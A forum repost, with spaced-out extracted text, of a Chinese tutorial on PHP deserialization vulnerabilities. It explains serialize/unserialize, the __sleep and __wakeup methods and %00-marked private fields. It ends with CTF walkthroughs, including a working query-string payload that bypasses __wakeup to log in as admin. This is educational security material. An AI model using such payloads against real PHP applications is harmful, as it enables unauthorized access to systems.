搜索

[14927] 2020-01-01_PHP反序列化漏洞入门

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2020-01-01_PHP反序列化漏洞入门 P H P 反 序 列 化 漏 洞 入 门 S c h 0 l a r   F r e e B u f   2 0 2 0 - 0 1 - 0 1 序 列 化 和 反 序 列 化 的 概 念 序 列 化 和 反 序 列 化 的 概 念 序 列 化 就 是 将 一 个 对 象 转 换 成 字 符 串 。 字 符 串 包 括 序 列 化 就 是 将 一 个 对 象 转 换 成 字 符 串 。 字 符 串 包 括   属 性 名 属 性 名   属 性 值 属 性 值   属 性 类 型 和 该 对 象 对 应 的 类 名 。 属 性 类 型 和 该 对 象 对 应 的 类 名 。 反 序 列 化 则 相 反 将 字 符 串 重 新 恢 复 成 对 象 反 序 列 化 则 相 反 将 字 符 串 重 新 恢 复 成 对 象 对 象 的 序 列 化 利 于 对 象 的 保 存 和 传 输 , 也 可 以 让 多 个 文 件 共 享 对 象 。 c t f 很 多 题 型 也 都 是 考 察 P H P 反 序 列 化 的 相 关 知 识 P H P 的 序 列 化 的 序 列 化 序 列 化 函 数 s e r i a l i z e ( ) 首 先 我 创 一 个 C t f 类   里 面 写 了 三 个 属 性   后 创 建 了 一 个 c t f e r 对 象   将 C t f 类 里 的 信 息 进 行 了 改 变 。 如 果 后 面 还 要 用 到 这 个 对 象 ， 就 可 以 先 将 这 个 对 象 进 行 实 例 化 。 用 的 时 候 在 反 序 列 化 出 来 就 o k 了 s e r i a l i z e ( )   函 数 会 检 查 类 中 是 否 存 在 一 个 魔 术 方 法   s l e e p ( ) 。 如 果 存 在 ， 。 如 果 存 在 ， s l e e p ( ) 方 法 会 先 被 调 用 ， 然 后 才 执 行 序 列 化 操 作 。 可 以 再 _ _ s l e e p ( ) 方 法 里 可 以 决 定 哪 些 属 性 被 序 列 化 O : 3 : " C t f " : 3 { s : 4 : " f l a g " ; s : 1 3 : " f l a g { a b e d y u i } " ; s : 4 : " n a m e " ; s : 7 : " S c h 0 l a r " ; s : 3 : " a g e " ; s : 2 : " 1 8 " ; } O 代 表 对 象   因 为 我 们 序 列 化 的 是 一 个 对 象   序 列 化 数 组 则 用 A 来 表 示 3   代 表 类 名 字 占 三 个 字 符   c t f   类 名 3   代 表 三 个 属 性 s 代 表 字 符 串 4 代 表 属 性 名 长 度 f l a g 属 性 名 s : 1 3 : " f l a g { a b e d y u i } "   字 符 串   属 性 值 长 度   属 性 值
如 果 没 有 _ _ s l e e p ( ) 方 法 则 默 认 序 列 化 所 有 属 性 上 图 _ _ s l e e p ( ) 方 法 使 f l a g   a g e   属 性 序 列 化   n a m e 并 没 有 被 序 列 化 访 问 控 制 修 饰 符 访 问 控 制 修 饰 符 根 据 访 问 控 制 修 饰 符 的 不 同   序 列 化 后 的   属 性 长 度 和 属 性 值 会 有 所 不 同 , 所 以 这 里 简 单 提 一 下 p r o t e c t e d 属 性 被 序 列 化 的 时 候 属 性 值 会 变 成 % 0 0 * % 0 0 属 性 名 p r i v a t e 属 性 被 序 列 化 的 时 候 属 性 值 会 变 成 % 0 0 类 名 % 0 0 属 性 名 可 能 有 点 难 理 解   这 里 我 敲 一 下 大 家 就 懂 了 可 以 看 到 P H P 的 反 序 列 化 的 反 序 列 化 p u b l i c ( 公 有 ) p r o t e c t e d ( 受 保 护 ) p r i v a t e ( 私 有 的 ) O : 3 : " C t f " : 3 : { s : 4 : " n a m e " ; s : 7 : " S c h 0 l a r " ; s : 6 : " * a g e " ; s : 2 : " 1 9 " ; s : 9 : " C t f f l a g " ; s : 8 : " g e t   f l a g " ; } s : 6 : " * a g e "   / / * 前 后 出 现 了 两 个 % 0 0 也 就 是 空 白 符   一 个 % 0 0 长 度 为 一   所 以 序 列 化 后   该 属 性 长 度 为 6 s : 9 : " C t f f l a g "   / / c t f 前 后 也 就 是 类 名 前 后 出 现 两 个 % 0 0   所 以 长 度 为 9
反 序 列 化 函 数 u n s e r i a l i z e ( ) 反 序 列 化 就 是 将 一 个 序 列 化 的 字 符 串 ， 还 原 回 去 与   序 列 化 函 数 类 似   u n s e r i a l i z e ( )   会 检 查 是 否 存 在 一 个   _ _ w a k e u p ( ) 魔 术 方 法 如 果 存 在 则 会 先 调 用 _ _ w a k e u p ( ) 方 法 在 进 行 反 序 列 化 可 以 再 _ _ w a k e u p ( ) 方 法 中 对 属 性 进 行 初 始 化 或 者 改 变 。 反 序 列 化 之 前 重 新 给 f l a g 属 性 赋 值 当 序 列 化 字 符 串 表 示 对 象 属 性 个 数 的 值 大 于 真 实 个 数 的 属 性 时 就 会 跳 过 _ _ w a k e u p 的 执 行 。 这 个 大 家 应 该 都 知 道 很 常 见 的 姿 势 了 。 为 了 直 观 一 点 找 了 些 考 察 反 序 列 化 的 c t f 。 c t f
首 先 我 们 本 地 进 行 序 列 化 后 得 到 字 符 串 把 1 写 成 2   达 到 绕 过 w a k e u p ( ) 效 果   拿 到 f l a g 找 到 一 个   比 较 能 总 结 这 篇 文 章 的 题 看 到 良 好 的 备 份 网 站 习 惯 u r l 上 直 接 / w w w . z i p 下 载 了 网 站 源 码 i n d e x . p h p 里 发 现 核 心 代 码 O : 4 : " x c t f " : 1 : { s : 4 : " f l a g " ; s : 3 : " 1 1 1 " ; } < ? p h p         i n c l u d e   ' c l a s s . p h p ' ;
读 了 c l a s s . p h p   发 现 需 要   u s e r n a m e = a d m i n   并 且   p a s s w o r d = 1 0 0 才 可 以   还 有 一 段 核 心 代 码 我 们 本 地 进 行 实 例 化   序 列 化 得 到 序 列 化 后 的 字 符 串 为 代 码 中 存 在   _ _ w a k e u p 前 面 说 过 。 当 序 列 化 字 符 串 表 示 对 象 属 性 个 数 的 值 大 于 真 实 个 数 的 属 性 时 就 会 跳 过 _ _ w a k e u p 的 执 行 。 还 有 因 为 我 们 要 通 过 g e t 方 式 进 行 提 交   所 以 % 0 0 也 必 须 写 在 u r l 上 最 终 p a y l o a d 为         i n c l u d e   ' c l a s s . p h p ' ;         $ s e l e c t   =   $ _ G E T [ ' s e l e c t ' ] ;         $ r e s = u n s e r i a l i z e ( @ $ s e l e c t ) ; ? > f u n c t i o n   _ _ w a k e u p ( ) {                 $ t h i s - > u s e r n a m e   =   ' g u e s t ' ; } $ a   =   n e w   N a m e ( ' a d m i n ' , 1 0 0 ) ; $ b   =   s e r i a l i z e ( $ a ) ; p r i n t _ r ( $ b ) ; O : 4 : " N a m e " : 2 : { s : 1 4 : " N a m e u s e r n a m e " ; s : 5 : " a d m i n " ; s : 1 4 : " N a m e p a s s w o r d " ; i : 1 0 0 ; } ? s e l e c t = O : 4 : " N a m e " : 3 : { s : 1 4 : " % 0 0 N a m e % 0 0 u s e r n a m e " ; s : 5 : " a d m i n " ; s : 1 4 : " % 0 0 N a m e % 0 0 p a s s w o r d " ; i : 1 0 0 ; }
* 本 文 作 者 ： 本 文 作 者 ： S c h 0 l a r ， 转 载 请 注 明 来 自 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理